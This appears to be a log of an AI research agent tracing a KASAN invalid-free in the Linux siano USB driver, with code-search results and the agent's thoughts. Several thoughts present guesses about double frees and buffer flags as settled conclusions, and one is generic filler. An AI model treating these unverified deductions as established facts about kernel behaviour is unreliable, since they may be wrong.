 704:			struct smscore_buffer_t *cb;
 705:	
 706:			cb = smscore_createbuffer(buffer, dev->common_buffer,
 707:						  dev->common_buffer_phys);
 708:			if (!cb) {
 709:				smscore_unregister_device(dev);
 710:				return -ENOMEM;
 711:			}
 712:	
 713:			smscore_putbuffer(dev, cb);
 714:		}
 715:	
 716:		pr_debug("allocated %d buffers\n", dev->num_buffers);
 717:	
 718:		dev->mode = DEVICE_MODE_NONE;
 719:		dev->board_id = SMS_BOARD_UNKNOWN;
 720:		dev->context = params->context;
 721:		dev->device = params->device;
 722:		dev->usb_device = params->usb_device;
 723:		dev->setmode_handler = params->setmode_handler;
 724:		dev->detectmode_handler = params->detectmode_handler;
 725:		dev->sendrequest_handler = params->sendrequest_handler;
 726:		dev->preload_handler = params->preload_handler;
 727:		dev->postload_handler = params->postload_handler;
 728:	
 729:		dev->device_flags = params->flags;
 730:		strscpy(dev->devpath, params->devpath, sizeof(dev->devpath));
 731:	
 732:		smscore_registry_settype(dev->devpath, params->device_type);
 733:	
 734:		/* add device to devices list */
 735:		mutex_lock(&g_smscore_deviceslock);
 736:		list_add(&dev->entry, &g_smscore_devices);
 737:		mutex_unlock(&g_smscore_deviceslock);
 738:	
 739:		*coredev = dev;
 740:	
 741:		pr_debug("device %p created\n", dev);
 742:	
 743:		return 0;
 744:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

30/2 2026/09/04 10:18 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 18599
							output: 37
							thoughts: 1169
						

Thoughts:
**My Thoughts on the URB Buffer Management**

Okay, so I've been digging into this URB (USB Request Block) buffer management, and it's starting to make a bit more sense, though there's a clear problem I'm identifying.

My initial observation is how `dev->common_buffer` is handled. It's allocated as a single, contiguous block. The code snippet here shows it:

```c
	dev->common_buffer_size = params->buffer_size * params->num_buffers;
	if (params->usb_device)
		buffer = kzalloc(dev->common_buffer_size, GFP_KERNEL);
```

Then, this large block is effectively carved up into smaller, individual buffers. The loop accomplishes this:

```c
	for (; dev->num_buffers < params->num_buffers;
	     dev->num_buffers++, buffer += params->buffer_size) {
		struct smscore_buffer_t *cb;

		cb = smscore_createbuffer(buffer, dev->common_buffer,
					  dev->common_buffer_phys);
		if (!cb) {
			smscore_unregister_device(dev);
			return -ENOMEM;
		}

		smscore_putbuffer(dev, cb);
	}
```

Looking at `smscore_createbuffer`, I see it's creating a `struct smscore_buffer_t` for each of these chunks, and crucially, `cb->p` is set to point to the start of that particular chunk.

```c
struct smscore_buffer_t *smscore_createbuffer(u8 *buffer, void *common_buffer,
					      dma_addr_t bphys)
{
	struct smscore_buffer_t *cb;

	cb = kmalloc(sizeof(*cb), GFP_KERNEL);
	if (!cb)
		return NULL;

	cb->p = buffer;
	cb->offset_in_common = buffer - (u8 *) common_buffer;
	cb->phys = bphys + cb->offset_in_common;

	return cb;
}
```

Now, when `smsusb_submit_urb` is called, `urb->transfer_buffer` gets assigned to `surb->cb->p`. This is where things start to get dicey. The code also sets `surb->urb->transfer_flags |= URB_FREE_BUFFER;`. My understanding of `URB_FREE_BUFFER` is that when the URB is eventually destroyed (via `urb_destroy`), it will attempt to `kfree` the `urb->transfer_buffer`.

Here's the critical issue: `kfree` is designed to only be called on memory that was originally allocated with `kmalloc` (or related functions). If `surb->cb->p` points to a location *within* `dev->common_buffer` but *not* at the very beginning, calling `kfree` on it is fundamentally incorrect and will likely lead to a heap corruption or a crash. Even if `surb->cb->p` *does* point to the very start of `dev->common_buffer` (i.e., it's the first buffer), `kfree` would then attempt to free the *entire* `dev->common_buffer`.

But wait, there's a second layer of complexity. The `smscore_unregister_device` function *also* frees `dev->common_buffer`:

```c
	if (coredev->common_buffer) {
		if (coredev->usb_device)
			kfree(coredev->common_buffer);
```

This creates a potential double-free scenario. If `urb_destroy` is called, and `surb->cb->p` points to the beginning of `dev->common_buffer`, `urb_destroy` will free it. Subsequently, when `smscore_unregister_device` is called, it will attempt to free the *same* memory again, leading to the dreaded double free.

I'm also looking at the bug report, specifically the KASAN output: `BUG: KASAN: invalid-free in urb_destroy`. It mentions an invalid-free at `ffff888058ab1000`, which is described as "0 bytes to the right of 4096-byte region `[ffff888058ab0000, ffff888058ab1000)`". This detail is significant. It suggests that `surb->cb->p` is exactly at the boundary, possibly at the end, of one of these allocated chunks.

This makes me wonder about the exact values of `params->buffer_size` and `params->num_buffers`. The code snippet from `smsusb_init_device` shows that these are determined by `USB1_BUFFER_SIZE` or `USB2_BUFFER_SIZE` and `MAX_BUFFERS`. Without knowing those specific values, it's hard to definitively say *why* `surb->cb->p` would end up at the exact boundary. However, the fact that KASAN reports an issue at that precise location strongly points to the misinterpretation of `URB_FREE_BUFFER` when the buffer pointer isn't the start of a `kmalloc`-ed block.


31/2 2026/09/04 10:18 tool grepper
0m Args:
map[Expression:#define USB2_BUFFER_SIZE PathPrefix:drivers/media/usb/siano/]

Results:
map[Output:drivers/media/usb/siano/smsusb.c=6=Copyright (C) 2005-2009, Uri Shkolnik, Anatoly Greenblat
--
drivers/media/usb/siano/smsusb.c-24-#define USB1_BUFFER_SIZE		0x1000
drivers/media/usb/siano/smsusb.c:25:#define USB2_BUFFER_SIZE		0x2000
drivers/media/usb/siano/smsusb.c-26-
]

32/2 2026/09/04 10:18 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 19927
							output: 38
							thoughts: 816
						

Thoughts:
**My Thought Process on the Bug**

Okay, I'm trying to get to the bottom of this bug report. Initially, I was looking at the `USB2_BUFFER_SIZE` and `MAX_BUFFERS` values, which led me to calculate `dev->common_buffer_size` as 8192 bytes * 50 = 409600 bytes. The bug report mentioned a faulty address at the end of a 4096-byte region, so this initial calculation didn't immediately explain that.

Then, I realized that the `params.device_type` could change things. If it's `SMS_STELLAR`, `dev->buffer_size` becomes `USB1_BUFFER_SIZE`, which is 4096 bytes. With `MAX_BUFFERS` still at 50, this would result in a `common_buffer_size` of 4096 bytes * 50 = 204800 bytes. This is still not aligning with the 4096-byte region described in the bug.

The crucial detail from the bug report was: "The buggy address belongs to the object at ffff888058ab0000 which belongs to the cache kmalloc-4k of size 4096... The buggy address is located 0 bytes to the right of 4096-byte region [ffff888058ab0000, ffff888058ab1000)". This told me the *specific* region involved was indeed 4096 bytes.

So, the question became: what was allocated in this 4096-byte region? I dug into the allocation stack provided:
```
Allocated by task 3388:
 ...
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
```
This immediately jumped out at me. This is an `skb` (socket buffer) allocated by `netdevsim`. This is completely unrelated to the `smsusb` driver that I was initially focusing on. The `netdevsim` module allocated this 4096-byte region and, importantly, it was freed by `netdevsim` as well.

The problem then became clear: the `usb_free_urb` function is attempting to free `ffff888058ab1000`. But this address *should not* be associated with a URB at this point. It's a memory region that was allocated and freed by `netdevsim`.

This leads me to suspect that `urb->transfer_buffer` might be uninitialized or corrupted. I started looking at how URBs are initialized, specifically in `smsusb_init_device`. I saw the loop that allocates URBs using `usb_alloc_urb(0, GFP_KERNEL)`. My next thought was: does `usb_alloc_urb` zero out the memory it allocates for the `struct urb` itself? If it doesn't, and if `urb->transfer_buffer` isn't explicitly set later, it could indeed be pointing to garbage, or worse, to a previously freed memory region like the one from `netdevsim`. This is a prime candidate for a use-after-free scenario or an invalid memory access.


33/2 2026/09/04 10:18 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/usb/core/urb.c Name:usb_alloc_urb]

Results:
map[SourceCode:  55:	/**
  56:	 * usb_alloc_urb - creates a new urb for a USB driver to use
  57:	 * @iso_packets: number of iso packets for this urb
  58:	 * @mem_flags: the type of memory to allocate, see kmalloc() for a list of
  59:	 *	valid options for this.
  60:	 *
  61:	 * Creates an urb for the USB driver to use, initializes a few internal
  62:	 * structures, increments the usage counter, and returns a pointer to it.
  63:	 *
  64:	 * If the driver want to use this urb for interrupt, control, or bulk
  65:	 * endpoints, pass '0' as the number of iso packets.
  66:	 *
  67:	 * The driver must call usb_free_urb() when it is finished with the urb.
  68:	 *
  69:	 * Return: A pointer to the new urb, or %NULL if no memory is available.
  70:	 */
  71:	struct urb *usb_alloc_urb(int iso_packets, gfp_t mem_flags)
  72:	{
  73:		struct urb *urb;
  74:	
  75:		urb = kmalloc_flex(*urb, iso_frame_desc, iso_packets, mem_flags);
  76:		if (!urb)
  77:			return NULL;
  78:		usb_init_urb(urb);
  79:		return urb;
  80:	}
 SourceFile:drivers/usb/core/urb.c]

34/2 2026/09/04 10:18 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 21181
							output: 38
							thoughts: 8
						

Thoughts:
**My Internal Monologue on `usb_init_urb`**

Ah, `usb_init_urb`. I recognize this function. My mind immediately goes to the fundamental building blocks of USB communication in the kernel. It's the initialization routine for a USB Request Block, or URB. This is where the kernel prepares a data structure that will be used to describe and submit a USB request to the device.

When I see `usb_init_urb`, I'm thinking about setting up the context for a specific I/O operation. This isn't about the high-level API, mind you; this is deep in the trenches of the USB driver model. I'm picturing the URB being allocated, and then crucially, its fields being populated with the necessary information. This includes things like the endpoint the request is destined for, the transfer type (bulk, interrupt, isochronous, control), the direction of the transfer (IN or OUT), the buffer containing the data to send or where to receive data, the length of the data, and any specific transfer flags.

My thoughts are also on the lifecycle of this URB. `usb_init_urb` is just the beginning. After it's initialized, it will be submitted to the USB core for processing. Then, the hardware will eventually complete the request, and a callback function will be invoked. So, this initialization step is critical for ensuring that when the URB reaches the hardware, it contains all the correct instructions and data pointers.

I also consider the implications of proper initialization. If any of these fields are misconfigured during `usb_init_urb`, the entire operation could fail, leading to data corruption, device unresponsiveness, or even system instability. It's about setting the stage for success. I'm also thinking about potential error handling: what happens if memory allocation for the URB fails? The function should gracefully handle that.

Fundamentally, my understanding of `usb_init_urb` is that it's the kernel's way of saying, "Okay, we're about to send a specific command or data to a USB device. Here's the blueprint for that operation, meticulously detailed, so the USB controller knows exactly what to do." It’s a crucial piece of the mechanism that bridges user-space or driver logic with the physical USB hardware.


35/2 2026/09/04 10:18 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/usb/core/urb.c Name:usb_init_urb]

Results:
map[SourceCode:  30:	/**
  31:	 * usb_init_urb - initializes a urb so that it can be used by a USB driver
  32:	 * @urb: pointer to the urb to initialize
  33:	 *
  34:	 * Initializes a urb so that the USB subsystem can use it properly.
  35:	 *
  36:	 * If a urb is created with a call to usb_alloc_urb() it is not
  37:	 * necessary to call this function.  Only use this if you allocate the
  38:	 * space for a struct urb on your own.  If you call this function, be
  39:	 * careful when freeing the memory for your urb that it is no longer in
  40:	 * use by the USB core.
  41:	 *
  42:	 * Only use this function if you _really_ understand what you are doing.
  43:	 */
  44:	void usb_init_urb(struct urb *urb)
  45:	{
  46:		if (urb) {
  47:			memset(urb, 0, sizeof(*urb));
  48:			kref_init(&urb->kref);
  49:			INIT_LIST_HEAD(&urb->urb_list);
  50:			INIT_LIST_HEAD(&urb->anchor_list);
  51:		}
  52:	}
 SourceFile:drivers/usb/core/urb.c]

36/2 2026/09/04 10:18 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 21581
							output: 43
							thoughts: 244
						

Thoughts:
**Understanding the Urb Lifecycle and Potential Memory Leaks**

My initial thought process centers on the initialization and eventual destruction of USB request blocks (URBs), specifically in the context of the `smsusb` driver. I've observed that `usb_alloc_urb` is responsible for zeroing out the `urb` structure. This is a critical detail because it means that right from the start, `urb->transfer_buffer` is `NULL`, and `urb->transfer_flags` is `0`.

This initial state has a direct implication for the `urb_destroy` function. Because `urb->transfer_flags` is initially zero, the `URB_FREE_BUFFER` flag won't be set. Consequently, `urb_destroy` will not attempt to free `urb->transfer_buffer` when the URB is initially destroyed, as it relies on this flag to determine whether it should manage the buffer's deallocation.

Now, a crucial question arises: when *is* `URB_FREE_BUFFER` set? My immediate hypothesis is that its presence signifies that `smsusb_submit_urb` has been called. This is a logical assumption because `smsusb_submit_urb` is the function responsible for actually populating and queuing the URB for transmission, and it's here that a buffer would typically be associated with the URB and the flag to manage its lifecycle would be set.

To verify this, I've turned my attention to `smsusb_start_streaming`. I see a loop that iterates through a predefined number of URBs (`MAX_URBS`) and calls `smsusb_submit_urb` for each. The crucial part here is the error handling: if `smsusb_submit_urb` returns an error (`rc < 0`), the code immediately calls `smsusb_stop_streaming(dev)`. This suggests that `smsusb_stop_streaming` is the cleanup mechanism that should be invoked when something goes wrong during the submission process, potentially including handling any URBs that *were* successfully submitted before the failure. My next step is to delve into the implementation of `smsusb_stop_streaming` to understand exactly what cleanup actions it performs. I'm particularly interested in whether it correctly handles the deallocation of `transfer_buffer` if `URB_FREE_BUFFER` was indeed set by a prior successful call to `smsusb_submit_urb`. This is where I suspect a potential memory leak might occur if the cleanup logic isn't robust enough to account for partially submitted URBs.


37/2 2026/09/04 10:18 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_stop_streaming]

Results:
map[SourceCode: 176:	static void smsusb_stop_streaming(struct smsusb_device_t *dev)
 177:	{
 178:		int i;
 179:	
 180:		for (i = 0; i < MAX_URBS; i++) {
 181:			usb_kill_urb(dev->surbs[i].urb);
 182:			if (dev->surbs[i].wq.func)
 183:				cancel_work_sync(&dev->surbs[i].wq);
 184:	
 185:			if (dev->surbs[i].cb) {
 186:				smscore_putbuffer(dev->coredev, dev->surbs[i].cb);
 187:				dev->surbs[i].cb = NULL;
 188:			}
 189:		}
 190:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

38/2 2026/09/04 10:18 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 22118
							output: 44
							thoughts: 2907
						

Thoughts:
**The Root of the Problem: URB State and Buffer Management**

Okay, so I've been digging into this issue, and it seems the core of the problem lies in how the `smsusb_stop_streaming` function handles URBs and their associated buffers, particularly when `smsusb_submit_urb` fails.

Here's my line of thinking:

1.  **`smsusb_stop_streaming`'s Action:** I see that `smsusb_stop_streaming` attempts to return a buffer to the `coredev` using `smscore_putbuffer` if `dev->surbs[i].cb` is valid. It then sets `dev->surbs[i].cb` to `NULL`. This is where the first alarm bell rings.

2.  **Incomplete Cleanup of URB Flags and Buffer Pointer:** My concern is that after `smscore_putbuffer` is called (or if `dev->surbs[i].cb` was already NULL), `smsusb_stop_streaming` *doesn't* clear the `URB_FREE_BUFFER` flag from `dev->surbs[i].urb->transfer_flags`. Crucially, it also *doesn't* clear `dev->surbs[i].urb->transfer_buffer`. This pointer still holds the address of the buffer that was just returned.

3.  **The Failure Scenario: `smsusb_submit_urb` Fails:** Now, let's consider what happens if `smsusb_submit_urb` itself fails, for example, if `usb_submit_urb` returns an error. In this case, `dev->surbs[i].urb->transfer_flags` still has `URB_FREE_BUFFER` set, and `dev->surbs[i].urb->transfer_buffer` is still pointing to the buffer's memory (`surb->cb->p`).

4.  **The Path to Double-Free:** The problem escalates when the device is being shut down. `smsusb_init_device` might fail, leading to `err_unregister_device`. This calls `smsusb_term_device`.
    *   `smsusb_term_device` then calls `smscore_unregister_device`.
    *   `smscore_unregister_device` is responsible for freeing `dev->coredev->common_buffer`. This is a significant chunk of memory that was likely allocated using `kzalloc` with a size calculated from `params.buffer_size * params.num_buffers`.
    *   After `smscore_unregister_device` finishes, `smsusb_term_device` proceeds to iterate and call `usb_free_urb` for each URB.
    *   Here's the critical point: `usb_free_urb` internally calls `urb_destroy`. If `urb_destroy` sees `URB_FREE_BUFFER` set in `urb->transfer_flags`, it attempts to `kfree(urb->transfer_buffer)`.

5.  **The Double-Free:** Since `urb->transfer_buffer` was *never* cleared after `smsusb_submit_urb` failed (or after `smsusb_stop_streaming` returned the buffer), it still points to the memory within `dev->common_buffer` that was *already freed* by `smscore_unregister_device`. This is the classic double-free scenario.

6.  **The KASAN Clue and the Confusion:** The KASAN report points to a bug where the freed address belongs to a `kmalloc-4k` object, specifically at the end of a 4096-byte region. This was initially confusing because `dev->common_buffer` is typically much larger (e.g., 204800 bytes for `SMS_STELLAR` with 50 buffers of 4096 bytes), which would be allocated from a larger `kmalloc` cache like `kmalloc-256k`.
    *   My hypothesis is that after `dev->common_buffer` is freed, the memory allocator might reuse that space. If, by chance, a subsequent allocation from `kmalloc-4k` (perhaps for a skb via `netdevsim` as the report suggests) happens to overlap with or be at the boundary of the *previously* freed `dev->common_buffer` region, then `urb->transfer_buffer` (pointing to the freed memory) would appear to point into this newly allocated `kmalloc-4k` object when KASAN inspects it. The address being exactly at the end of a 4096-byte region might be a coincidence related to the allocator's internal alignment or the specific size of the `netdevsim` allocation.

7.  **The Core Issue Recap:** The fundamental problem is that the `URB_FREE_BUFFER` flag and `urb->transfer_buffer` are not reliably cleared in `smsusb_stop_streaming` or upon `usb_submit_urb` failure. This leads to `usb_free_urb` attempting to free already released memory when `smsusb_term_device` is eventually called.

The missing piece of logic seems to be ensuring that `URB_FREE_BUFFER` is cleared and `urb->transfer_buffer` is nulled out in all paths where a URB's buffer is returned to the system, especially before `usb_free_urb` is called on that URB.


39/2 2026/09/04 10:19 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/common/siano/smscoreapi.c Name:smscore_register_device]

Results:
map[SourceCode: 632:	/*
 633:	 * creates coredev object for a device, prepares buffers,
 634:	 * creates buffer mappings, notifies registered hotplugs about new device.
 635:	 *
 636:	 * @param params device pointer to struct with device specific parameters
 637:	 *               and handlers
 638:	 * @param coredev pointer to a value that receives created coredev object
 639:	 *
 640:	 * return: 0 on success, <0 on error.
 641:	 */
 642:	int smscore_register_device(struct smsdevice_params_t *params,
 643:				    struct smscore_device_t **coredev,
 644:				    gfp_t gfp_buf_flags,
 645:				    void *mdev)
 646:	{
 647:		struct smscore_device_t *dev;
 648:		u8 *buffer;
 649:	
 650:		dev = kzalloc_obj(*dev);
 651:		if (!dev)
 652:			return -ENOMEM;
 653:	
 654:	#ifdef CONFIG_MEDIA_CONTROLLER_DVB
 655:		dev->media_dev = mdev;
 656:	#endif
 657:		dev->gfp_buf_flags = gfp_buf_flags;
 658:	
 659:		/* init list entry so it could be safe in smscore_unregister_device */
 660:		INIT_LIST_HEAD(&dev->entry);
 661:	
 662:		/* init queues */
 663:		INIT_LIST_HEAD(&dev->clients);
 664:		INIT_LIST_HEAD(&dev->buffers);
 665:	
 666:		/* init locks */
 667:		spin_lock_init(&dev->clientslock);
 668:		spin_lock_init(&dev->bufferslock);
 669:	
 670:		/* init completion events */
 671:		init_completion(&dev->version_ex_done);
 672:		init_completion(&dev->data_download_done);
 673:		init_completion(&dev->data_validity_done);
 674:		init_completion(&dev->trigger_done);
 675:		init_completion(&dev->init_device_done);
 676:		init_completion(&dev->reload_start_done);
 677:		init_completion(&dev->resume_done);
 678:		init_completion(&dev->gpio_configuration_done);
 679:		init_completion(&dev->gpio_set_level_done);
 680:		init_completion(&dev->gpio_get_level_done);
 681:		init_completion(&dev->ir_init_done);
 682:	
 683:		/* Buffer management */
 684:		init_waitqueue_head(&dev->buffer_mng_waitq);
 685:	
 686:		/* alloc common buffer */
 687:		dev->common_buffer_size = params->buffer_size * params->num_buffers;
 688:		if (params->usb_device)
 689:			buffer = kzalloc(dev->common_buffer_size, GFP_KERNEL);
 690:		else
 691:			buffer = dma_alloc_coherent(params->device,
 692:						    dev->common_buffer_size,
 693:						    &dev->common_buffer_phys,
 694:						    GFP_KERNEL | dev->gfp_buf_flags);
 695:		if (!buffer) {
 696:			smscore_unregister_device(dev);
 697:			return -ENOMEM;
 698:		}
 699:		dev->common_buffer = buffer;
 700:	
 701:		/* prepare dma buffers */
 702:		for (; dev->num_buffers < params->num_buffers;
 703:		     dev->num_buffers++, buffer += params->buffer_size) {
 704:			struct smscore_buffer_t *cb;
 705:	
 706:			cb = smscore_createbuffer(buffer, dev->common_buffer,
 707:						  dev->common_buffer_phys);
 708:			if (!cb) {
 709:				smscore_unregister_device(dev);
 710:				return -ENOMEM;
 711:			}
 712:	
 713:			smscore_putbuffer(dev, cb);
 714:		}
 715:	
 716:		pr_debug("allocated %d buffers\n", dev->num_buffers);
 717:	
 718:		dev->mode = DEVICE_MODE_NONE;
 719:		dev->board_id = SMS_BOARD_UNKNOWN;
 720:		dev->context = params->context;
 721:		dev->device = params->device;
 722:		dev->usb_device = params->usb_device;
 723:		dev->setmode_handler = params->setmode_handler;
 724:		dev->detectmode_handler = params->detectmode_handler;
 725:		dev->sendrequest_handler = params->sendrequest_handler;
 726:		dev->preload_handler = params->preload_handler;
 727:		dev->postload_handler = params->postload_handler;
 728:	
 729:		dev->device_flags = params->flags;
 730:		strscpy(dev->devpath, params->devpath, sizeof(dev->devpath));
 731:	
 732:		smscore_registry_settype(dev->devpath, params->device_type);
 733:	
 734:		/* add device to devices list */
 735:		mutex_lock(&g_smscore_deviceslock);
 736:		list_add(&dev->entry, &g_smscore_devices);
 737:		mutex_unlock(&g_smscore_deviceslock);
 738:	
 739:		*coredev = dev;
 740:	
 741:		pr_debug("device %p created\n", dev);
 742:	
 743:		return 0;
 744:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

40/2 2026/09/04 10:19 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 26793
							output: 42
							thoughts: 2276
						

Thoughts:
**The Tangled Threads of Memory Management: A Debugging Odyssey**

I've been wrestling with this KASAN report, and at first, I completely misunderstood what it was telling me. It flagged a buggy address associated with a `kmalloc-4k` object, located precisely at the end of a 4096-byte region. My initial thought was, "How can a `kmalloc-4k` object, which is exactly 4096 bytes, have an address *at the end* of that region?"

Then, the pieces started to click, albeit in a confusing cascade. I reasoned that if `dev->common_buffer` was allocated with `kzalloc(204800)`, it should reside in a `kmalloc-256k` object, not `kmalloc-4k`. If `urb->transfer_buffer` was pointing to this `dev->common_buffer`, then KASAN should be reporting a `kmalloc-256k` object. The fact that it reported `kmalloc-4k` sent me down a rabbit hole: maybe `urb->transfer_buffer` wasn't pointing to `dev->common_buffer` at all?

I explored the possibility that `urb->transfer_buffer` might have been allocated by `usb_alloc_urb`, but that only allocates the `struct urb` itself. Then I considered `netdevsim`, but that seemed to involve `skb` allocations.

The KASAN report itself provided crucial clues. It stated that the 4096-byte object was *freed* by `netdevsim` (specifically, `skb_release_data` and `nsim_dev_trap_report`). This suggested a `kmalloc-4k` allocation involved in `netdevsim`. However, the *same* report also indicated that the underlying *page* was freed by `smscore_unregister_device`.

This contradiction was the key. If `smscore_unregister_device` freed the page, it implied that the object was either the sole occupant of that page or a very large one. I reasoned that if `dev->common_buffer` (204800 bytes) was freed, its pages would be returned to the page allocator. Subsequently, `netdevsim` could have allocated an `skb` using `kmalloc-4k`, which, in turn, might reuse one of those freed pages. KASAN, reporting at the moment of the crash, would see the memory in its *current* state – a `kmalloc-4k` object managed by `netdevsim`.

But then, the dangling pointer: `urb->transfer_buffer` was still pointing to a location within the original `dev->common_buffer`'s memory space, which had already been freed by `smscore_unregister_device` and subsequently reallocated. When `urb_destroy` eventually tried to `kfree(urb->transfer_buffer)`, it was attempting to free memory that was no longer valid, or worse, had been reallocated.

The tricky part was why `kfree` on `ffff888058ab1000` (which was exactly at the boundary of a `kmalloc-4k` object) didn't immediately fail or look like an invalid free. My hypothesis is that because the original `dev->common_buffer` allocation was likely page-aligned, and `urb->transfer_buffer` was an offset within it, `urb->transfer_buffer` was also page-aligned. When `kfree` is called on a page-aligned address, it can be mistaken for the start of a `kmalloc-4k` object, especially if the slab is in a specific state. The KASAN message about being "0 bytes to the right of 4096-byte region" likely means it was at the beginning of a newly allocated `kmalloc-4k` object, or perhaps at the end of a slab page, and KASAN was trying to make sense of the corrupt metadata.

Ultimately, the root cause became clear: `urb->transfer_buffer` was a dangling pointer to memory that had been freed by `smscore_unregister_device`, leading to a use-after-free scenario when `urb_destroy` attempted to free it again.

Delving deeper, I traced the lifecycle:
1.  `smsusb_probe` initiates `smsusb_init_device`.
2.  `smsusb_init_device` allocates the `dev` structure and calls `smscore_register_device`.
3.  `smscore_register_device` allocates `dev->common_buffer` and prepares it for use.
4.  `smsusb_init_device` then allocates URBs and calls `smsusb_start_streaming`.
5.  `smsusb_start_streaming` submits URBs, with `smsusb_submit_urb` setting `urb->transfer_buffer` to parts of `dev->common_buffer` and crucially, setting the `URB_FREE_BUFFER` flag.
6.  If `usb_submit_urb` fails for even one URB, `smsusb_start_streaming` calls `smsusb_stop_streaming`.
7.  `smsusb_stop_streaming` is supposed to clean up, but my analysis suggests it doesn't clear `URB_FREE_BUFFER` or `urb->transfer_buffer`.
8.  The error propagates up, causing `smsusb_init_device` to jump to an error handling path that calls `smsusb_term_device`.
9.  `smsusb_term_device` calls `smscore_unregister_device`, which **frees `dev->common_buffer`**.
10. Then, `smsusb_term_device` iterates through the URBs, calling `usb_free_urb`.
11. `usb_free_urb` calls `urb_destroy`.
12. `urb_destroy`, seeing the `URB_FREE_BUFFER` flag, attempts to `kfree(urb->transfer_buffer)`.
13. This `kfree` operates on a pointer to memory that was **already freed** by `smscore_unregister_device` and potentially reallocated, leading to the crash.

The real shocker came when I considered the success path: even if `usb_submit_urb` *succeeds*, the `URB_FREE_BUFFER` flag means `urb_destroy` will eventually call `kfree(urb->transfer_buffer)`. Since `smscore_unregister_device` *also* frees `dev->common_buffer`, this would *always* result in a double-free. I'm now questioning why this doesn't cause a constant crash, leading me to suspect something subtle about `smsusb_onresponse` or how URB completion is handled.


41/2 2026/09/04 10:19 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_onresponse]

Results:
map[SourceCode:  78:	/*
  79:	 * Completing URB's callback handler - top half (interrupt context)
  80:	 * adds completing sms urb to the global surbs list and activtes the worker
  81:	 * thread the surb
  82:	 * IMPORTANT - blocking functions must not be called from here !!!
  83:	
  84:	 * @param urb pointer to a completing urb object
  85:	 */
  86:	static void smsusb_onresponse(struct urb *urb)
  87:	{
  88:		struct smsusb_urb_t *surb = (struct smsusb_urb_t *) urb->context;
  89:		struct smsusb_device_t *dev = surb->dev;
  90:	
  91:		if (urb->status == -ESHUTDOWN) {
  92:			pr_err("error, urb status %d (-ESHUTDOWN), %d bytes\n",
  93:				urb->status, urb->actual_length);
  94:			return;
  95:		}
  96:	
  97:		if ((urb->actual_length > 0) && (urb->status == 0)) {
  98:			struct sms_msg_hdr *phdr = (struct sms_msg_hdr *)surb->cb->p;
  99:	
 100:			smsendian_handle_message_header(phdr);
 101:			if (urb->actual_length >= phdr->msg_length) {
 102:				surb->cb->size = phdr->msg_length;
 103:	
 104:				if (dev->response_alignment &&
 105:				    (phdr->msg_flags & MSG_HDR_FLAG_SPLIT_MSG)) {
 106:	
 107:					surb->cb->offset =
 108:						dev->response_alignment +
 109:						((phdr->msg_flags >> 8) & 3);
 110:	
 111:					/* sanity check */
 112:					if (((int) phdr->msg_length +
 113:					     surb->cb->offset) > urb->actual_length) {
 114:						pr_err("invalid response msglen %d offset %d size %d\n",
 115:							phdr->msg_length,
 116:							surb->cb->offset,
 117:							urb->actual_length);
 118:						goto exit_and_resubmit;
 119:					}
 120:	
 121:					/* move buffer pointer and
 122:					 * copy header to its new location */
 123:					memcpy((char *) phdr + surb->cb->offset,
 124:					       phdr, sizeof(struct sms_msg_hdr));
 125:				} else
 126:					surb->cb->offset = 0;
 127:	
 128:				pr_debug("received %s(%d) size: %d\n",
 129:					  smscore_translate_msg(phdr->msg_type),
 130:					  phdr->msg_type, phdr->msg_length);
 131:	
 132:				smsendian_handle_rx_message((struct sms_msg_data *) phdr);
 133:	
 134:				smscore_onresponse(dev->coredev, surb->cb);
 135:				surb->cb = NULL;
 136:			} else {
 137:				pr_err("invalid response msglen %d actual %d\n",
 138:					phdr->msg_length, urb->actual_length);
 139:			}
 140:		} else
 141:			pr_err("error, urb status %d, %d bytes\n",
 142:				urb->status, urb->actual_length);
 143:	
 144:	
 145:	exit_and_resubmit:
 146:		INIT_WORK(&surb->wq, do_submit_urb);
 147:		schedule_work(&surb->wq);
 148:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

42/2 2026/09/04 10:19 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 30212
							output: 42
							thoughts: 38
						

Thoughts:
**My Thought Process Regarding `smsusb_onresponse` and Subsequent Actions**

Okay, so my immediate observation upon examining the `smsusb_onresponse` function is this peculiar sequence of events: it first nullifies the `cb` field within the `surb` structure, and *then* it proceeds to invoke `smscore_onresponse`. Following this, there's a distinct scheduling of the `do_submit_urb` function. This is what's occupying my mind – the cause-and-effect, and the potential implications of this specific ordering.

My primary concern revolves around the implications of nullifying `surb->cb` *before* calling `smscore_onresponse`. I need to understand what `smscore_onresponse` expects from `surb->cb`. If `smscore_onresponse` relies on `surb->cb` being valid or containing specific data for its own internal processing, then setting it to `NULL` beforehand could lead to unexpected behavior, perhaps even a crash or a logic error within `smscore_onresponse` itself. I'm mentally tracing the control flow within `smscore_onresponse` to see if it accesses `surb->cb` in a way that would be problematic if it were `NULL`.

Then, there's the subsequent scheduling of `do_submit_urb`. This implies that the completion of `smsusb_onresponse` and the handling by `smscore_onresponse` are prerequisites for submitting another URB. My thought here is about the timing and dependency. Is this scheduling a direct consequence of `smscore_onresponse` successfully processing the response? Or is it a more general mechanism to ensure that URBs are submitted in a controlled manner, perhaps to avoid overwhelming the USB hardware or the driver's internal queues? I'm considering the possibility that `do_submit_urb` is designed to pick up the *next* pending URB, and the scheduling here is simply a way to signal that the system is ready for that.

